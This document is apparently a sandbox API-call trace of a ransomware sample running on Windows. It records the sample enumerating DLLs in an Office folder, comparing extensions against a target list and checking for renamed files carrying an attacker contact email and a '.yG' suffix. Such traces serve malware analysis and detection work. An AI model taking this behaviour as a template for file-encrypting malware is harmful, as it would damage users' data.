	[0156.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.623] lstrlenW (lpString=".doc") returned 4
	[0156.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.623] lstrlenW (lpString=".docx") returned 5
	[0156.623] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.623] lstrlenW (lpString=".pdf") returned 4
	[0156.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.623] lstrlenW (lpString=".xls") returned 4
	[0156.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.623] lstrlenW (lpString=".xlsx") returned 5
	[0156.623] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.623] lstrlenW (lpString=".ppt") returned 4
	[0156.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.623] lstrlenW (lpString=".zip") returned 4
	[0156.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.624] lstrlenW (lpString=".rar") returned 4
	[0156.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.624] lstrlenW (lpString=".bz2") returned 4
	[0156.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.624] lstrlenW (lpString=".7z") returned 3
	[0156.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.624] lstrlenW (lpString=".dbf") returned 4
	[0156.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.624] lstrlenW (lpString=".1cd") returned 4
	[0156.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0156.624] lstrlenW (lpString=".jpg") returned 4
	[0156.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.624] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.624] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33
	[0156.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.778] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19648) returned 1
	[0156.778] CloseHandle (hObject=0x4ac) returned 1
	[0156.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220
	[0156.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.779] lstrlenW (lpString=".doc") returned 4
	[0156.779] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.779] lstrlenW (lpString=".docx") returned 5
	[0156.779] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.779] lstrlenW (lpString=".pdf") returned 4
	[0156.779] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.779] lstrlenW (lpString=".xls") returned 4
	[0156.779] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.779] lstrlenW (lpString=".xlsx") returned 5
	[0156.779] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.779] lstrlenW (lpString=".ppt") returned 4
	[0156.779] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.779] lstrlenW (lpString=".zip") returned 4
	[0156.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.780] lstrlenW (lpString=".rar") returned 4
	[0156.780] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.780] lstrlenW (lpString=".bz2") returned 4
	[0156.780] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.780] lstrlenW (lpString=".7z") returned 3
	[0156.780] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.780] lstrlenW (lpString=".dbf") returned 4
	[0156.780] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.780] lstrlenW (lpString=".1cd") returned 4
	[0156.780] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.780] lstrlenW (lpString=".jpg") returned 4
	[0156.780] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.780] lstrlenW (lpString=".doc") returned 4
	[0156.781] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString=".docx") returned 5
	[0156.781] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.781] lstrlenW (lpString=".pdf") returned 4
	[0156.781] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString=".xls") returned 4
	[0156.781] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString=".xlsx") returned 5
	[0156.781] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.781] lstrlenW (lpString=".ppt") returned 4
	[0156.781] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.781] lstrlenW (lpString=".zip") returned 4
	[0156.781] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString=".rar") returned 4
	[0156.781] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.781] lstrlenW (lpString=".bz2") returned 4
	[0156.781] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.781] lstrlenW (lpString=".7z") returned 3
	[0156.781] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.781] lstrlenW (lpString=".dbf") returned 4
	[0156.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.782] lstrlenW (lpString=".1cd") returned 4
	[0156.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82
	[0156.782] lstrlenW (lpString=".jpg") returned 4
	[0156.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.782] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.782] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33
	[0156.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.783] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=23232) returned 1
	[0156.783] CloseHandle (hObject=0x4ac) returned 1
	[0156.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220
	[0156.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.784] lstrlenW (lpString=".doc") returned 4
	[0156.784] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.784] lstrlenW (lpString=".docx") returned 5
	[0156.802] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.802] lstrlenW (lpString=".pdf") returned 4
	[0156.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.802] lstrlenW (lpString=".xls") returned 4
	[0156.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.803] lstrlenW (lpString=".xlsx") returned 5
	[0156.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.803] lstrlenW (lpString=".ppt") returned 4
	[0156.803] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.803] lstrlenW (lpString=".zip") returned 4
	[0156.803] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.803] lstrlenW (lpString=".rar") returned 4
	[0156.803] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.803] lstrlenW (lpString=".bz2") returned 4
	[0156.803] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.803] lstrlenW (lpString=".7z") returned 3
	[0156.803] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.803] lstrlenW (lpString=".dbf") returned 4
	[0156.803] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.804] lstrlenW (lpString=".1cd") returned 4
	[0156.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.804] lstrlenW (lpString=".jpg") returned 4
	[0156.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.804] lstrlenW (lpString=".doc") returned 4
	[0156.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.804] lstrlenW (lpString=".docx") returned 5
	[0156.804] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.804] lstrlenW (lpString=".pdf") returned 4
	[0156.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.804] lstrlenW (lpString=".xls") returned 4
	[0156.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.805] lstrlenW (lpString=".xlsx") returned 5
	[0156.805] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.805] lstrlenW (lpString=".ppt") returned 4
	[0156.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.805] lstrlenW (lpString=".zip") returned 4
	[0156.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.805] lstrlenW (lpString=".rar") returned 4
	[0156.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.805] lstrlenW (lpString=".bz2") returned 4
	[0156.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.805] lstrlenW (lpString=".7z") returned 3
	[0156.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.805] lstrlenW (lpString=".dbf") returned 4
	[0156.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.805] lstrlenW (lpString=".1cd") returned 4
	[0156.806] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0156.806] lstrlenW (lpString=".jpg") returned 4
	[0156.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.806] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.806] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
	[0156.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.807] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=24768) returned 1
	[0156.807] CloseHandle (hObject=0x4ac) returned 1
	[0156.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220
	[0156.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.808] lstrlenW (lpString=".doc") returned 4
	[0156.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.808] lstrlenW (lpString=".docx") returned 5
	[0156.808] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.809] lstrlenW (lpString=".pdf") returned 4
	[0156.809] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.809] lstrlenW (lpString=".xls") returned 4
	[0156.809] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.809] lstrlenW (lpString=".xlsx") returned 5
	[0156.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.809] lstrlenW (lpString=".ppt") returned 4
	[0156.809] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.809] lstrlenW (lpString=".zip") returned 4
	[0156.809] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.809] lstrlenW (lpString=".rar") returned 4
	[0156.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.809] lstrlenW (lpString=".bz2") returned 4
	[0156.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.809] lstrlenW (lpString=".7z") returned 3
	[0156.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.810] lstrlenW (lpString=".dbf") returned 4
	[0156.810] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.810] lstrlenW (lpString=".1cd") returned 4
	[0156.810] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.810] lstrlenW (lpString=".jpg") returned 4
	[0156.810] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.810] lstrlenW (lpString=".doc") returned 4
	[0156.810] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.810] lstrlenW (lpString=".docx") returned 5
	[0156.810] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.810] lstrlenW (lpString=".pdf") returned 4
	[0156.810] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.811] lstrlenW (lpString=".xls") returned 4
	[0156.811] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.811] lstrlenW (lpString=".xlsx") returned 5
	[0156.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.811] lstrlenW (lpString=".ppt") returned 4
	[0156.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.811] lstrlenW (lpString=".zip") returned 4
	[0156.811] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.811] lstrlenW (lpString=".rar") returned 4
	[0156.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.811] lstrlenW (lpString=".bz2") returned 4
	[0156.811] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.811] lstrlenW (lpString=".7z") returned 3
	[0156.811] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.812] lstrlenW (lpString=".dbf") returned 4
	[0156.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.812] lstrlenW (lpString=".1cd") returned 4
	[0156.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0156.812] lstrlenW (lpString=".jpg") returned 4
	[0156.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.827] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.827] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32
	[0156.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.828] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=24768) returned 1
	[0156.829] CloseHandle (hObject=0x350) returned 1
	[0156.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220
	[0156.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.829] lstrlenW (lpString=".doc") returned 4
	[0156.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.830] lstrlenW (lpString=".docx") returned 5
	[0156.830] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.830] lstrlenW (lpString=".pdf") returned 4
	[0156.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.830] lstrlenW (lpString=".xls") returned 4
	[0156.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.830] lstrlenW (lpString=".xlsx") returned 5
	[0156.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.830] lstrlenW (lpString=".ppt") returned 4
	[0156.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.830] lstrlenW (lpString=".zip") returned 4
	[0156.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.830] lstrlenW (lpString=".rar") returned 4
	[0156.831] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.831] lstrlenW (lpString=".bz2") returned 4
	[0156.831] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.831] lstrlenW (lpString=".7z") returned 3
	[0156.831] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.831] lstrlenW (lpString=".dbf") returned 4
	[0156.831] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.831] lstrlenW (lpString=".1cd") returned 4
	[0156.831] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.831] lstrlenW (lpString=".jpg") returned 4
	[0156.831] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.831] lstrlenW (lpString=".doc") returned 4
	[0156.832] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString=".docx") returned 5
	[0156.832] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.832] lstrlenW (lpString=".pdf") returned 4
	[0156.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString=".xls") returned 4
	[0156.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString=".xlsx") returned 5
	[0156.832] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.832] lstrlenW (lpString=".ppt") returned 4
	[0156.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.832] lstrlenW (lpString=".zip") returned 4
